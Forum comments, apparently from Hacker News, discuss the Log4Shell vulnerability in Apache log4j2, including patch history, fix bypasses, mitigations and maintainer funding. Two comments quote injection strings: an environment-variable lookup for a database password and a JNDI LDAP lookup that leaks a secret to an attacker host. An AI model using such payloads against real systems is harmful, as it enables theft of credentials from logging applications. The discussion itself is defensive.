logging-log4j2

We couldn't figure out the actual network bypass for this one, so it's not included in the post (even though it's in the CVE). It's gotta be in this function[0] though, and if you have any notes we'd appreciate if you shared any notes with us! Edit: I spoke too soon! As we were writing this, somebody on Twitter figured it out[2]. Also, we just released v1.4 of the Log4Shell CLI tool for detecting + patching this vuln. Feel free to check that out on GitHub[1]. It's got a ton of improvements from the last release. 0: https://github.com/apache/logging-log4j2/blob/master/log4j-c... 1: https://github.com/lunasec-io/lunasec/releases/ 2: https://twitter.com/marcioalm/status/1471740771581652995

> I can still just inject stuff like "${env:DATABASE_PASSWORD:-xxx} In 2.16.0 message lookups have been completely removed: https://github.com/apache/logging-log4j2/pull/623 Lookups now only work in configured patterns. Thats IMHO the way it should have been in the first place.

Insightful conversations at https://github.com/apache/logging-log4j2/pull/608 - the original vulnerability patch. Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.

Further details on the most relevant part here: https://github.com/apache/logging-log4j2/pull/608#issuecomme... Applications using log4j pattern layouts including `${ctx:...}` lookups with versions < 2.15 will remain vulnerable to RCE/DNS infoleaks regardless of the `-Dlog4j2.formatMsgNoLookups=true` mitigation, if the attacker can control any of the `org.apache.logging.log4j.ThreadContext` values used in the configured context lookups. Do not rely on the `-Dlog4j2.formatMsgNoLookups=true` mitigation unless you are certain that the application is not using any attacker-controlled context lookups in the log4j pattern layouts. The `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class` mitigation remains effective for < 2.15.0, and may be a good idea for 2.15.0 as well, to avoid the localhost LDAP connections.

Vulnerability researcher here. This vulnerability was patch-gapped before it was disclosed. When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before it was publicly disclosed and the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter. The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2] [1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome...

Vulnerability researcher here. It's really hard for vulnerabilities as simple as this one to stay under wraps. When the patch went out 9 days ago [1], many vulnerability researchers were able to look at it and identify the root cause within minutes. Exploits started going out over a week ago before the CVE was released. Good security orgs that can hire skilled vulnerability researchers started patching on December 6th/7th/8th. All the chaos started on December 9th when people started leaking the poc on twitter. The same thing happens to google chrome when they release a patch for a security vulnerability. Very skilled researchers can produce a POC and exploit given the patch alone [2] The same thing happens even with embargoes like the one you describe in place. [1] https://github.com/apache/logging-log4j2/commit/d82b47c [2] https://blog.

Replying to myself but I guess it's the second one. https://github.com/apache/logging-log4j2/blob/04637dd9102175...

The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2/pull/608#issuecomme... for much smarter (or more devious) people than me.

Minecraft servers were one part of it... Minecraft clients where another. If you sent a message to everyone with a client (that logged that message), everyone with a client would at least ping back to the ldap server. The issue where this was introduced was: https://issues.apache.org/jira/browse/LOG4J2-313 That's from 2013 (Minecraft was 2 years old then) On the other hand, nothing with it really happened until someone asked if it was a security vulnerability - https://github.com/apache/logging-log4j2/pull/608#issuecomme... And then all hell broke loose. Simply said, this was a feature that was intended to make it easier for one company to use their structure with ldap lookups for where/how to log. The author of the change did what many people encourage others to do when working with open source "here's some code that I wrote, I'm contr

> Usually (as per ASF rules) the team should wait 72 hours after creating a release candidate before publishing the release to give the community enough time to review and cast their votes. We are building consensus to shorten that window for this particular release, given its urgency. from: https://github.com/apache/logging-log4j2/pull/608#issuecomme... If you read more of the history of the release you'll find that additional vectors were found in the RC process that were also fixed.

As with earlier comments this seems to oversimplify the problem of throwing people at a problem. Adding people to a project puts more pressure on the current maintainers, to authenticate, validate, train and support newcomers. Apache has processes for this, and project maintainers pointed people in that direction repeatedly (e.g. https://github.com/apache/logging-log4j2/pull/608#issuecomme..., https://github.com/apache/logging-log4j2/pull/608#issuecomme...). The Apache foundation receives funding from a large number of organizations already: https://www.apache.org/foundation/thanks.html Perhaps the right question to ask here is: what did Apache do to help their members in this event? You can ask this question of the Apache foundation independently, without adding pressure on the project maintainers at this time.

>[...] Incidentally, one of the Log4j maintainers’ GitHub sponsors profile is here, if you would like to contribute some money to his cause. [...] these companies should ponder which is more expensive: $100k/year salary for a maintainer of a project they are heavily dependent upon, I don't understand the logic of cause & effect the author laid out. Commercial software with well-paid programmer employees also have long lists of CVE/RCE including MS Windows, Azure, AWS, Adobe PDF reader, Oracle database, etc. I think the crux of the author's argument is the 2nd paragraph: >Like many projects, Log4j is only maintained by volunteers, and because of this, coordination of security response is naturally more difficult: a coordinated embargo is easy to coordinate, if you have a dedicated maintainer to do it. In the absence of a dedicated maintain